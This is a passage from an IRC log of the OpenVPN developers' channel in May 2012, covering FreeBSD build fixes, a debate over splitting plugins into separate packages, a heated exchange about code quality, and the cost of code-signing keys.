lzo is optional for this test... so plain ./configure --disable-lzo is sufficient. 17:06 < ecrist> ok, here's the correct configure line I used: 17:06 < ecrist> ./configure CFLAGS=-I/usr/local/include LDFLAGS=-L/usr/local/lib --disable-pkcs11 --prefix=/usr/local --mandir=/usr/local/man --infodir=/usr/local/info/ --build=amd64-portbld-freebsd9.0 17:07 < alonbl> prefix is default to usr/local, so mandir and all the other... :) 17:07 < alonbl> disable-pkcs11 is also the default. 17:07 < ecrist> http://pastebin.com/tV0S2Xsu 17:08 < ecrist> the freebsd port build system passes that anyways, just all the time, as not everyone uses prefix at usr/local 17:08 < alonbl> hmmm... thanks! did you ever tried to compile the master branch? 17:09 < ecrist> not lately, but I can 17:09 < alonbl> cause these issues I must fixed in 2.3 while what I asked to test is for 2.4... 17:09 < ecrist> ah, let me go try compiling 2.3 17:10 < alonbl> git checkout master 17:12 < alonbl> hmmm... something wrong with detection of string.h... can you please send me config.log? mailto:alon.barlev@gmail.com 17:12 < ecrist> it compiles 17:12 < ecrist> sure 17:13 < alonbl> so master compiles and tun not... this good to know. 17:13 < ecrist> I knew 2.3 has been compiling fine, but I did it just now, as well 17:14 < ecrist> sorry, I failed to put a subject on that email, alonbl 17:15 < ecrist> but it's been sent 17:24 < alonbl> fixing... 17:31 < alonbl> ecrist: can you please clone again and try to build? 17:34 < ecrist> sure 17:35 < alonbl> my vm extracts the ports.txz for about an hour or so... :( 17:36 < ecrist> configure executes 17:37 < ecrist> http://pastebin.com/xDpiVhJv 17:37 < ecrist> make dies 17:37 < ecrist> gonna poof for a bit 17:37 < alonbl> this is what I was interested in... :) 17:38 -!- Sevet [~Sevet@188-222-99-65.zone13.bethere.co.uk] has quit [Quit: for(;;) break;] 17:45 < alonbl> can you please add #include <net/route.h> to src/openvpn/tun-engine-freebsd.c? 17:46 < alonbl> oh... I think I found the issue. 17:49 < alonbl> ok, fixed. you can just add #include "route.h" after #include "fdmisc.h" and run make 17:50 < alonbl> :q 17:58 < ecrist> should I re-checkout and such, just to be sure? 17:58 < alonbl> if you like... but this is a minor change, quicker to just do it... :) 18:02 < ecrist> where do I add that? 18:02 < alonbl> src/openvpn/tun-engine-freebsd.c 18:05 < ecrist> nope 18:05 < alonbl> nope as in? 18:08 < ecrist> it didn't compile 18:08 < ecrist> I'll pastebin again 18:45 -!- dazo is now known as dazo_afk 20:25 -!- novaflash is now known as novaflash_away --- Day changed Sat May 12 2012 05:24 -!- alonbl [~alonbl@unaffiliated/alonbl] has quit [Ping timeout: 260 seconds] 05:44 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Quit: mattock] 05:59 -!- Sevet [~Sevet@188-222-99-65.zone13.bethere.co.uk] has joined #openvpn-devel 06:25 -!- novaflash_away is now known as novaflash 07:51 -!- Sevet [~Sevet@188-222-99-65.zone13.bethere.co.uk] has quit [Ping timeout: 250 seconds] 08:58 -!- plaisthos [~arne@kamera.blinkt.de] has joined #openvpn-devel 11:50 -!- Sevet [~Sevet@188-222-99-65.zone13.bethere.co.uk] has joined #openvpn-devel 12:21 -!- Sevet [~Sevet@188-222-99-65.zone13.bethere.co.uk] has quit [Quit: for(;;) break;] 13:40 -!- plaisthos [~arne@kamera.blinkt.de] has quit [Quit: foo!] 14:24 -!- alonbl [~alonbl@unaffiliated/alonbl] has joined #openvpn-devel 15:23 -!- alonbl is now known as alonbl_ 15:24 -!- alonbl_ is now known as alonbl 15:40 < ecrist> alonbl: did you get everything fixed you needed to? 15:43 < alonbl> ecrist: yes, thanks! just sent the patch set to the list. 15:43 < ecrist> excellent 15:44 < ecrist> that box is a bit slow, currently, but I'm not planning on pulling your access any time soon, so feel free to use it if you need. 15:45 < alonbl> thanks! I installed my own VM... took me a while to refresh my *BSD memory... :) so you can remove my access... I now know who to contact if I need anything more :) 15:47 < ecrist> fwiw, I maintain the openvpn devel and beta ports for FreeBSD, as well 15:48 < alonbl> oh... didn't know that... I maintain the openvpn build... now that all is set, I will be happy to receive feedback... compatibility issues or anything you need in order to make build simpler! 15:49 < ecrist> ok, I'm making changes/updates to the -devel port, which I'll patch for the main eventually (when 2.3 comes out) 15:50 < ecrist> did the --enable-password-save issue ever get resolved? 15:50 < ecrist> the configure arg doesn't actually work. 15:50 < alonbl> I will also appreciate your view at this thread: http://thread.gmane.org/gmane.network.openvpn.devel/6436 15:50 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 15:50 < alonbl> --enable-password-save should be OK now. 15:51 < ecrist> I'll test it later, then 15:52 < ecrist> re: thread, I think we should try to just have openvpn and openvpn-contrib 15:52 < ecrist> and, as you suggest, make them available separately 15:52 < ecrist> I don't think we should split too much beyond that, except easy-rsa can probably be completely split off 15:52 < alonbl> so please comment on openvpn-devel, nobody there that has a STRONG opinion actually package maintain. 15:53 < ecrist> ok, I'll read the entire thread and try to respond intelligently 15:53 < ecrist> :) 15:53 < alonbl> what do you mean beyond? 15:53 < ecrist> just to avoid too many separate contrib packages 15:54 < alonbl> no... I mean the contrib should have its own repository for interesting things that are not mainline... 15:54 < ecrist> oh, right, that I agree 15:54 < alonbl> but every plugin should have its own repo/package. 15:54 < ecrist> but 'a' repository, not 45 repositories 15:55 < ecrist> that gets messy really fast 15:55 < ecrist> from a package maintenance standpoint 15:55 < alonbl> using git it is very easy to have separate small repo for each component, it is much easier to branch and track logs, it also easier to delegate maintenance for different components. 15:55 < ecrist> I was the maintainer for freeswitch for a couple years, and that was the big problem there, just too much going on 15:56 < alonbl> but each plugin have its own release cycle... may fix its own bugs. what benefit is to have it in same repository of other plugins? 15:57 < ecrist> the release cycle is the difficult part 15:57 < alonbl> if there is a single release, there is no use in splitting repo or packages.... 15:57 < ecrist> so, auth-pam as release today, ok update package. shit, easy-rsa has release next week, update package, damn XYZ has release tomorrow, update package 15:58 < alonbl> each one has its own package... ports directory in your case... 15:58 < ecrist> right, and that's now 17 packages to maintain instead of 1 15:58 < alonbl> in gentoo I update the plugin ebuild or the easy-rsa plugin... no need to version bump openvpn.... 15:59 < ecrist> well, really, how I'd probably do it, and what I've already been thinking about is a -contrib package 15:59 < alonbl> yes, we have 17 packages, but users are using core and maybe one or two more... this what makes plugin optional. 15:59 < ecrist> as a package maintainer, it's a headache 15:59 < ecrist> I don't give a shit about the users. ;) 15:59 < ecrist> for them, it's just a check box 16:00 < ecrist> split git however you want, but I don't think we should have so many individual packages 16:00 < alonbl> as package maintainer I think it makes it much easier... just update the package that released... no need to stabilize openvpn to all arch every time... no need to touch it if it does not change. 16:01 < ecrist> split easy-rsa, split plugins as a group, split scripts as a group, that'd be OK 16:02 < alonbl> lets say we have plugin with dbus dependency... why should we enforce this if I don't need to install this plugin? plugin are optional in nature.... 16:02 < ecrist> we don't, at least in the ports system 16:02 < ecrist> dbus only gets installed if that optional component is selected 16:02 < alonbl> right, and you say that you like plugin as one package.... 16:02 < ecrist> this may be where your understanding of the ports system falls off 16:03 < ecrist> well, as a single release, package == versioned tgz 16:04 < alonbl> I do understand... you want configure --enable-plugin-XXX --enable-plugin-YYY and go and figure out what the dependency of each. 16:04 < ecrist> nope 16:04 < alonbl> so example... 16:04 < ecrist> so, openvpn-contrib-4.3.2.tgz 16:05 < alonbl> I don't think contrib should be actually installed... :) 16:05 < ecrist> inside, a directory for each component, that can all have it's own make, and I can send an option to the user, and select which directories to build 16:05 < ecrist> what do you mean? 16:06 < ecrist> fwiw, alonbl, I'm at BSDCan right now. Just getting ready for the last talk, followed by the farewell speech 16:06 < alonbl> who... good luck! tell me if I bother you.... 16:06 < ecrist> oh, not at all 16:07 < alonbl> why can't you download several .tgz in single port extract all to one directory and reach the the state you described above? 16:07 < ecrist> I can 16:07 < ecrist> I suppose that would work too 16:07 < alonbl> So I can release plugin1.tgz, plugin2.tgz and you have only one ports if this is comfortable to you. 16:07 < ecrist> it's much harder to track, though 16:07 < ecrist> at least within the ports tree constraints 16:08 < alonbl> you will have openvpn-plugins-1, openvpn-plugins-2 when each plugin changes version... 16:08 < alonbl> I really prefer you use the versioning of the upstream component... which I want to delegate maintenance, and have own release cycle. 16:09 < ecrist> and that's the problem with the ports tree 16:09 < alonbl> I don't understand, what problem exactly... 16:09 < ecrist> if you release it that way, I have a separate port for every single openvpn-plugins-X 16:09 < ecrist> versioning 16:09 < ecrist> with the ports tree, it wants a version for the port 16:10 < ecrist> beyond that, there can be an internal port revision, but there's no way to easily handle the multiple versions of sub-components 16:10 < ecrist> or registration of what those versions are, other than the make file 16:10 < alonbl> I understand... but if we want to have the flexibility to release a plugin without releasing all the rest of plugins, either we have multiple packages or single package while you maintain virtual version. 16:12 < ecrist> I'm just a port maintainer at the end of the day, I need to work whatever you do into the ports tree 16:12 < ecrist> you have my opinion, take it and do with it what you will 16:12 < alonbl> yes... and I wish to make it simpler... 16:13 < ecrist> for you, perhaps, but not for package maintainers 16:13 < alonbl> for gentoo it is very easy to maintain one ebuild per package... if I have a new plugin, I just cp -a existing new, modify the description, doing ebuild xxx digest and that's it... I have new plugin in tree... when I see annoucment I just version bump the ebuild and that's it... 16:14 < alonbl> in case of rpm based system, when a new release I just rpmbuild -tb tarball, and that's it... 16:14 < ecrist> quite a bit more involved for the ports tree 16:14 < alonbl> in case of .deb file I also debinize the new tarball....and that's it. 16:15 < ecrist> I have to update make, update checksums, build and derive hash of files, make sure the uninstall properly removes all those files, and THEN push it upstream 16:15 < ecrist> and now I need to do that for 17 packages 16:16 < ecrist> and it needs to properly build as a freebsd package, and very soon, needs to build as a freebsd PBI 16:16 < alonbl> RIGHT... you do this for 17 packages at 1st (well, for now 3), and then just when a new package is release. keep in mind that when openvpn released it does not mean plugins are changed! 16:16 < ecrist> I'm aware. 16:17 < ecrist> I will do what I have to in ports tree to get everything in and working properly, you devs do what you devs want to do 16:17 < alonbl> so I don't see the problem... you add 17 packages to tree because they are new one, but from that point and on you need to update only those which are actually released.... 16:18 < alonbl> I want to do whatever commonly simple for ports, rpm, deb, ebuild... and I am package maintainer on gentoo at least... 16:19 < alonbl> do you prefer to update openvpn pacakge every time a plugin is changed? this if we leave the plugins within the openvpn... this is another option, at openvpn we will have configure --enable-plugin-XXX 16:21 < alonbl> hmmm... you already have openvpn-auth-ldap, openvpn-auth-radius in tree... why do the down-root and auth-pam are different? 16:23 < ecrist> I don't maintain those 16:23 < alonbl> :) 16:23 < alonbl> anyway, I think this is the right approach at all platforms... addons/plugins should have a spearate package if upstream maintaining the separatally. 16:24 < ecrist> I agree 16:24 < alonbl> so may I move the openvpn-plugin-auth-pam, openvpn-plugin-down-root to their own tarballs/build? 16:25 < ecrist> sure 16:25 < alonbl> thanks! it would be great if you response also the the thread... I really like to finish the modification of the build/packaging so distro maintainer can catch up. 16:25 < alonbl> I handling gentoo... 16:26 < alonbl> I also handling the .spec 16:26 < alonbl> I will need to contact whoever doing the .deb 16:28 < ecrist> ok, I won't get a response onto the list until maybe tomorrow morning, or early next week. 16:28 < alonbl> great! if you have any issues with the packaging, please don't hesitate to contact me... I've made quite a lot of changes to openvpn to ease that task. 16:30 < ecrist> ok 16:49 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 17:14 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 17:14 -!- mode/#openvpn-devel [+v krzee] by ChanServ 17:25 < ecrist> alonbl: email sent 17:26 < alonbl> but this is not what we discussed. 17:26 < alonbl> 3.0 will not come in the next 5 years or so in this pace. 17:26 < alonbl> build is already changed to be suitable for 3.0 as well. 17:27 < alonbl> anyway, current situation where the plugin has own makefiles should go away, as it is very complex for architecture to properly build those, so either you vote for the split or to merge this with the main openvpn build system. 17:28 < alonbl> the massive change to source tree was already done, and the modular nature of the new infra of 3.0 is internal implementation. 17:28 < ecrist> I didn't consider the 3.0 aspect during our discussion, but the other two points were discussed. Overall, I agree it should be separated out. 17:28 < ecrist> and I believe I conveyed that in my email. 17:29 < alonbl> I think you don't understand the 3.0 aspect nor its timeline... 3.0 changes the way the core works. it is a complete re-write of openvpn. 17:32 < ecrist> my opinion on this matter stands. 17:33 < alonbl> meaning to leave state as-is, not integrate into build system and not split. making it hard to build plugins for other maintainers. right? 17:35 < ecrist> not at all 17:36 < alonbl> hard for me to understand these short responses... not at all what? 17:50 -!- waldner [waldner@unaffiliated/waldner] has joined #openvpn-devel 18:55 -!- alonbl [~alonbl@unaffiliated/alonbl] has quit [Quit: Konversation terminated!] --- Day changed Sun May 13 2012 00:13 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds] 01:35 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 01:44 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 01:44 -!- mode/#openvpn-devel [+v krzee] by ChanServ 01:57 -!- alonbl [~alonbl@unaffiliated/alonbl] has joined #openvpn-devel 02:44 -!- Netsplit *.net <-> *.split quits: psha 03:25 <+krzee> i just finished reading the thread about splitting plugins/scripts… makes sense to me for them to be split out 03:25 <+krzee> in freebsd these things should be available via make config like what is normal for apps with plugins 03:26 <+krzee> i agree its more work for package maintainers, because they will be maintaining more packages, but in reality it doesnt *have to* be the same maintainer for all of them 03:27 <+krzee> while eric is right that 3.0 will be a huge change so is a natural time to do it, i also like seeing things that can be done before 3.0 happen before it 03:28 <+krzee> like how openssl/polarssl recently happened… i see things like this as the road twords 3.0… the more that can happen now the easier it will be for the gaps to get filled in later 03:29 <+krzee> (my $0.02) 03:49 < alonbl> krzee: thanks! 03:49 < alonbl> 3.0 will not manifest any time soon... given the resources available... it is a complete rewrite, putting this on the table as a milestone for anything is like saying it won't happen. 03:50 < alonbl> can you please reply to the thread with your view? 03:51 < alonbl> for the package maintainer... I already took care of the rpm, so all you need to do is rpmbuild -tb <tarball> to get a package... in gentoo I will provide ebuilds... I only need to get response from the deb maintainer. 03:54 <+krzee> ya i was at the 3.0 roadmap meeting, but there will be quite a bit of code re-use going into 3.0, and there are plenty of changes to openvpn2 that are possible to get the code closer to 3.0… the code being changed to allow for other ssl engines was a nice step, i think that this being done sooner than later would be good simply because it can be done sooner and someone is ready to do it (or has done it, rather) 03:56 < alonbl> well, the addition of polarssl without clear/clean interface was not a step forward.... 03:57 <+krzee> i dont think ive ever email'ed -devel, my $.02 is good enough on irc as i dont actually write code ;] 03:57 <+krzee> how would you change that to give it a clean/clear interface? 03:58 < alonbl> it is important, please do share your thoughts there, in irc people will not aware of it, and I cannot reference it... 04:00 < alonbl> a clean interface is like the work I've done with tun for 2.4, create a modular interface with callbacks, see and example of tun-engine at https://github.com/alonbl/openvpn/blob/c0c64bfa5369fb4abe7045a995fae2d33a34570f/src/openvpn/tun-engine-linux.c, look for _tun_engine at end. 04:05 <+krzee> i dont speak c well enough to understand the code, but i understand what you said about it 04:05 < alonbl> oh... thanks! I will also cleanup the polarssl mess.... 04:06 <+krzee> openssl stuff used to be completely hardcoded into openvpn 04:13 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 04:22 < alonbl> krzee: still does... just in more complicated manner. 05:04 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 05:41 -!- alonbl [~alonbl@unaffiliated/alonbl] has quit [Ping timeout: 245 seconds] 06:56 -!- alonbl [~alonbl@unaffiliated/alonbl] has joined #openvpn-devel 09:27 -!- variable is now known as function 13:31 -!- dazo_afk is now known as dazo 13:31 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Quit: Ciao] 13:35 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 13:35 -!- mode/#openvpn-devel [+o dazo] by ChanServ 14:55 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Read error: Operation timed out] 14:59 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 14:59 -!- mode/#openvpn-devel [+o dazo] by ChanServ 15:56 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Quit: Ciao] 15:57 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 15:57 -!- mode/#openvpn-devel [+o dazo] by ChanServ 15:57 -!- dazo is now known as dazo_afk 16:03 < ecrist> krzee: make config can handle ifdefs just as well (better, even) than adding a build or run depend 16:04 <+krzee> ok, so it can work the same correct way for end-users either way, thats good 16:40 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds] 16:56 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 16:56 -!- mode/#openvpn-devel [+v krzee] by ChanServ 20:11 -!- alonbl [~alonbl@unaffiliated/alonbl] has quit [Ping timeout: 252 seconds] 20:16 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 252 seconds] --- Day changed Mon May 14 2012 01:25 -!- alonbl [~alonbl@unaffiliated/alonbl] has joined #openvpn-devel 02:07 -!- alonbl [~alonbl@unaffiliated/alonbl] has quit [Ping timeout: 244 seconds] 02:18 -!- alonbl [~alonbl@unaffiliated/alonbl] has joined #openvpn-devel 03:15 <@andj> alonbl: I'm not too happy having my code being called a "mess" 03:17 <@andj> alonbl: the backend interface for polar/openssl is quite clear 03:18 < alonbl> andj: my apologizes, however, I don't think it is quite clear... sorry about that. I thought that I could help cleaning this up, similar to what I've done to the tun. however, I am not sure I reach to this. 03:18 <@andj> alonbl: it just doesn't use callbacks 03:19 <@andj> other than that, the interface to the crypto library is quite clean 03:19 <@andj> I agree that some work can be done on the x509 stuff, to get that cleaner 03:19 <@andj> But considering the state of the ssl/crypto code before I started in on them, I'm quite happy with what came out of it 03:20 <@andj> Further refactoring isn't a bad idea, but I'm not sure why a callback interface is good 03:20 < alonbl> andj: right, the problem is that it calls back to the core, and there is no distinct naming for what is specific and what is common. so it is very hard to track the code. 03:20 <@andj> It adds extra complexity, making debugging more difficult, with limited benifits 03:20 < alonbl> Oh! I agree that the previous state was not clear either! I just think that adding more code to the previous state without modularization first was a mistake. 03:21 <@andj> There's a clear API defined in the *_backend.h files 03:21 < alonbl> ok, I don't want to argue any more... this kind of implementation is not something I would put in my products. 03:22 < alonbl> feel free to reject the tun changes as well for these reasons. 03:22 <@andj> For the tun changes I'm more worried about code duplication 03:23 < alonbl> what code duplication? 03:26 <@andj> well, consider, for example tun-engine-netbsd.c 03:26 <@andj> and tun-engine-dragonfly.c 03:28 <@andj> there's a reasonable amount of ooverlap between the ifconfig code 03:28 < alonbl> did you see the original implementation? a *COMPLETE* code duplication. 03:28 <@andj> anyway, I have to get back to work 03:28 < alonbl> all I've done in this phase, is split the obvious. 03:28 < alonbl> A lot of work should be done to eliminate the other parts, including testing at all platform. 03:29 < alonbl> one significant change is to remove the ipv6 specific stuff, as ipv4 can use the same system calls. 03:30 < alonbl> to proper have an opinion, please consider if this is a step further or not... I think this is a huge step further, from this point we can start cleaning up the code easily. 03:30 <@andj> Oh, I agree it's a step further 03:31 < alonbl> it can also be used to stack tun engines, such as in the case of the android... 03:33 <@andj> I noticed that. A module for support of management interface tun would be a good thing 03:33 <@andj> not just for android 03:33 < alonbl> right. 03:33 <@andj> but also for alternative frontends 03:34 <@andj> potentially, OpenVPN would no longer need root rights on start-up 03:34 < alonbl> but if we continue to merge patches without proper interfaces (quick and dirty) we never have anything stable 03:34 <@andj> if it is provided with a n open tun through management 03:34 <@andj> and if we continue to wait until everything is perfect, we'll never have anything stable :) 03:35 <@andj> There's a balancing act that needs to be played 03:35 < alonbl> no... software engineer should know estimate the resources. 03:35 <@andj> You can't have enverything immediately 03:35 < alonbl> merging the android (example) as-is is a mistake as we will never be able to provide proper solution. 03:36 < alonbl> you have a solution as external patch, users getting service. 03:36 <@andj> I agree with Mendelt here... It needs to be added with a few modifications, so that it works from the normal OpenVPN build system 03:36 < alonbl> so "immediately" is relative. 03:37 < alonbl> I disagree. like any other component, it can be maintained as out of tree patch until we create the infrastructure for it to be merged properly with no android specific features. 03:39 < alonbl> but I don't care anymore... bloat the project with custom features, do the custom privilege separation for windows within the core using the most complex solution I ever seen, at the end project will be a huge unmaintainable untestable monolithic piece of code. 03:40 < alonbl> I waned to help, and proved that whatever I claim is also executed in short cycle... this scares people. 03:44 <@andj> alonbl: have you considered that it might also be the way you introduce things, or how you listen to other people's views? 03:44 < alonbl> andj: yes. 03:45 <@andj> I agree with many of the points you bring up, and only disagree with a few points, as I think they go too far 03:45 <@andj> But because you won't listen to my (or other's) objections, you generate a lot of hostility 03:46 <@andj> And that's not good for the community, or the acceptance of your work 03:47 < alonbl> when samuli asked to help with build system, as most of the issues was around this, I was happy, but instead of accepting the requested help, I needed to argue about every change, I help a lot of communities, this is the first time I need to waste so many resources on fighting. 03:49 <@andj> That's my point: most of the changes you introduced didn't need arguing, and were accepted rather quickly 03:50 < alonbl> andj: don't worry... I am backing of. the short term approach won. you can continue do whatever you like, with the interest of the people who wish to make money out of openvpn, and people that want to keep in control. 03:51 <@andj> A few points had some disagreement from people, but instead of talking about them you said "it must be this way, and there is no other way" 03:51 -!- dazo_afk is now known as dazo 03:51 <@andj> that's a shame. I think you've done a lot of good work for the project 03:51 < alonbl> well, you should keep in mind that I am not a native English speaker... 03:51 <@andj> Neither are most of the people here :) 03:52 < alonbl> yes, but there are people that better in writhing C than writing English... 03:54 < alonbl> andj: I intended to do much more... I think openvpn is one of the most important project in open source, let's IT to actually migrate to Linux. but I have no further energy for arguing. 04:09 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 04:09 -!- mode/#openvpn-devel [+o mattock] by ChanServ 04:10 -!- Sevet [~Sevet@188-222-99-65.zone13.bethere.co.uk] has joined #openvpn-devel 06:01 -!- Sevet [~Sevet@188-222-99-65.zone13.bethere.co.uk] has quit [Ping timeout: 260 seconds] 06:13 -!- Sevet [~Sevet@188-222-99-65.zone13.bethere.co.uk] has joined #openvpn-devel 06:51 -!- janjust [~janjust@openvpn/community/support/janjust] has joined #openvpn-devel 06:51 -!- mode/#openvpn-devel [+v janjust] by ChanServ 06:52 <+janjust> ping dazo 07:20 <@dazo> janjust: pong 07:33 <+janjust> can I bug you for a minute, dazo? 07:33 <@dazo> janjust: of course, any time! 08:20 -!- janjust [~janjust@openvpn/community/support/janjust] has quit [Quit: Leaving] 08:41 -!- function is now known as variable 09:58 -!- dazo is now known as dazo_afk 10:48 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 10:48 -!- mode/#openvpn-devel [+v krzee] by ChanServ 11:08 -!- dazo_afk is now known as dazo 12:11 <+krzee> alonbl, i cant really respond to -devel cause i cant reply, so it wont go into the thread when it hits the list, but people read the scroll for this channel ;] 13:11 <@mattock> krzee: you're not subscribed to -devel, right? 13:11 <+krzee> right 13:11 <+krzee> i read the thread on gmane 13:15 -!- Sevet [~Sevet@188-222-99-65.zone13.bethere.co.uk] has quit [Ping timeout: 250 seconds] 13:21 -!- Sevet [~Sevet@188-222-99-65.zone13.bethere.co.uk] has joined #openvpn-devel 14:21 * dazo suddenly understood why he didn't receive emails for quite some time today .... thunderbird had somehow been changed to 'offline mode' :-P 14:26 <@vpnHelper> RSS Update - tickets: #208: Allow ipv6 only tunnels <https://community.openvpn.net/openvpn/ticket/208> 16:45 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 255 seconds] 16:55 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 16:55 -!- mode/#openvpn-devel [+v krzee] by ChanServ 16:55 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 18:12 -!- dazo is now known as dazo_afk 19:04 -!- Sevet_ [~Sevet@188-222-99-65.zone13.bethere.co.uk] has joined #openvpn-devel 19:06 -!- Sevet [~Sevet@188-222-99-65.zone13.bethere.co.uk] has quit [Ping timeout: 260 seconds] 19:27 -!- Sevet_ [~Sevet@188-222-99-65.zone13.bethere.co.uk] has quit [Quit: for(;;) break;] 19:31 -!- alonbl [~alonbl@unaffiliated/alonbl] has quit [Ping timeout: 272 seconds] 21:07 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 21:07 -!- mode/#openvpn-devel [+v krzee] by ChanServ 21:22 -!- RubyPanther [~paris@c-24-22-48-80.hsd1.or.comcast.net] has joined #openvpn-devel 21:23 < RubyPanther> Hi, is the windows installer source in the git repo somewhere? 22:23 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds] 22:42 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 22:42 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Tue May 15 2012 00:41 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: Leaving] 00:48 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 00:48 -!- mode/#openvpn-devel [+v krzee] by ChanServ 02:21 <@mattock> rubypanther: https://github.com/OpenVPN/openvpn-build 02:21 <@vpnHelper> Title: OpenVPN/openvpn-build · GitHub (at github.com) 02:23 <@mattock> openvpn-2.3-alpha1 and earlier used an older buildsystem that was hosted in main openvpn git repo under "win" directory 02:24 <@mattock> the above link points to our new separate buildsystem, which fetches the dependencies (incl. openvpn) automatically and builds them 02:24 <@mattock> what you need is openvpn.nsi, which is located in openvpn-build/windows-nsis/openvpn.nsi 02:25 <@mattock> documentation for the new buildsystem is here: https://community.openvpn.net/openvpn/wiki/BuildingUsingGenericBuildsystem 02:25 <@vpnHelper> Title: BuildingUsingGenericBuildsystem – OpenVPN Community (at community.openvpn.net) 02:48 -!- alonbl [~alonbl@unaffiliated/alonbl] has joined #openvpn-devel 02:58 <@mattock> hi alonbl! 02:59 < alonbl> mattock: hello. 03:00 <@mattock> I'll look if James has replied to the question about separate signing key for the OSS project... 03:01 <@mattock> that'd solve all the issues with releases being delayed because of signing 03:01 < alonbl> yes, this is the last missing link. 03:01 < alonbl> have you managed to upgrade you mingw? 03:01 <+krzee> oh THATS why he guards the signing so 03:01 <+krzee> same signing for AS 03:01 <+krzee> makes sense 03:01 <@mattock> alonbl: no, not yet, I have a "no work on weekends" policy :) 03:02 <@mattock> krzee: yeah, I think that's the reason, although he has not explicitly said so 03:02 < alonbl> There is nothing wrong to have same software signed by different keys... 03:03 <@mattock> yep 03:04 <@mattock> alonbl: read you email regarding mingw, I'll try upgrading 03:05 <@mattock> alonbl: is osslsigncode your own project, too? 03:05 <@mattock> like pkcs12-helper 03:05 <@mattock> I'll look into the tap-driver building today also 03:06 <@mattock> I don't recall touching that area with the new buildsystem, so it's going to be an adventure :) 03:06 < alonbl> no... every project I help, I offer to cleanup its build system... most gladly accept any contribution... and it is fun to help people... as I wrote this project is special.... no fun. 03:06 <@mattock> :) 03:06 <@mattock> James is complaining about the price of the code signing keys :D 03:06 <@mattock> $400/year 03:07 < alonbl> :) right... I think $500... 03:07 < alonbl> we can ask for donation.... 03:07 <@mattock> maybe I'll ask Francis if he'll pay... 03:07 <@mattock> if not, then we can ask for donations 03:08 <@mattock> I don't think extra $400/year will ruin the company 03:09 < alonbl> the donation part is the easiest... as I am sure we can raise that kind of money from windows users... the problem is the issue process to open source project... it is difficult enough to prove that you are a company... not sure how open source project without address not legal entity can acquire trust. 03:10 <@mattock> ah yes true 03:10 <@mattock> I see somebody linked to my PrivilegeSeparation page :D 03:10 <@mattock> https://community.openvpn.net/openvpn/wiki/PrivilegeSeparation 03:10 <@vpnHelper> Title: PrivilegeSeparation – OpenVPN Community (at community.openvpn.net) 03:10 <@mattock> good to know I'm not writing these wiki pages just as a creative exercise :P 03:13 < alonbl> well... these wiki pages are not easy to maintain... I think a better technology should be adopted... something more wysiwyg... 03:15 <@mattock> any ideas which technologies? 03:16 <@mattock> I haven't yet seen a WYSIWYG wiki that actually works and does not mess things up... and remembering 4 different wiki syntaces is not fun either 03:16 <@mattock> e.g. in my case 03:16 < alonbl> I like the google documents for long documents... multiple people can work on the same document commenting management is also very comfortable... 03:20 < alonbl> The google wikis are also better tool... (google sites). 04:08 -!- dazo_afk is now known as dazo 04:39 <@mattock> who could attend a meeting this week (Thu, 18:00 UTC)? 04:43 <@mattock> I setup a 2.4 planning page here: https://community.openvpn.net/openvpn/wiki/OpenVPN2.4 04:43 <@vpnHelper> Title: OpenVPN2.4 – OpenVPN Community (at community.openvpn.net) 04:46 <@dazo> mattock: I'm soaked into a release right now ... but May 17 is a public holiday for me, so I might be able to manage it - however, I need to make sure my wife don't have any other plans as well, as I'm taking a holiday the 18th too 04:47 <@mattock> dazo: ok, one always needs to be careful with $wife :D 04:47 <@mattock> same here 04:47 <@dazo> yupp :) 04:47 <@mattock> I don't have any holidays ever, so I'm safe, though :P 04:48 <@mattock> I mean "public, nation-wide" holidays 04:49 -!- Sevet [~Sevet@188-222-99-65.zone13.bethere.co.uk] has joined #openvpn-devel 04:49 <@mattock> fortunately I can take my own holidays pretty much whenever I want 04:49 <@mattock> I'll mail Francis about the code-signing keys... 04:56 <@d12fk> mattock: globalsign is a bit cheaper than verisign if price matters 04:56 <@mattock> d12fk: how much do codesigning keys cost there? 04:59 <@d12fk> for individuals 99/179/259 for 1/2/3 years 04:59 <@d12fk> companies 175/315/475 04:59 <@mattock> yeah, that's much cheaper than the $400/500 I've heard (from VeriSign I presume) 04:59 <@mattock> I'll mention that option 05:00 <@dazo> "a bit" ... sounds more like "a lot" :) 05:00 <@mattock> thanks! 05:00 <@mattock> yep, "a lot" definitely 05:00 <@d12fk> i cant judge because i'm so f'in rich =) 05:00 <@mattock> hahahaha :) 05:01 <@mattock> like all coders bathing in money 05:01 <@d12fk> mor elike drowning =) 05:01 * dazo don't care about money ... as long as I have enough for my bills and the gadgets I'd like to get :-p 05:02 <@d12fk> word 05:02 <@dazo> :) 05:12 <@mattock> ok, mail sent 05:12 <@mattock> let's hope Francis sees the light 05:13 <@mattock> the signing thingy has been a pain for every release 05:13 <@mattock> and alonbl's windows-nsis build-snapshot script handles 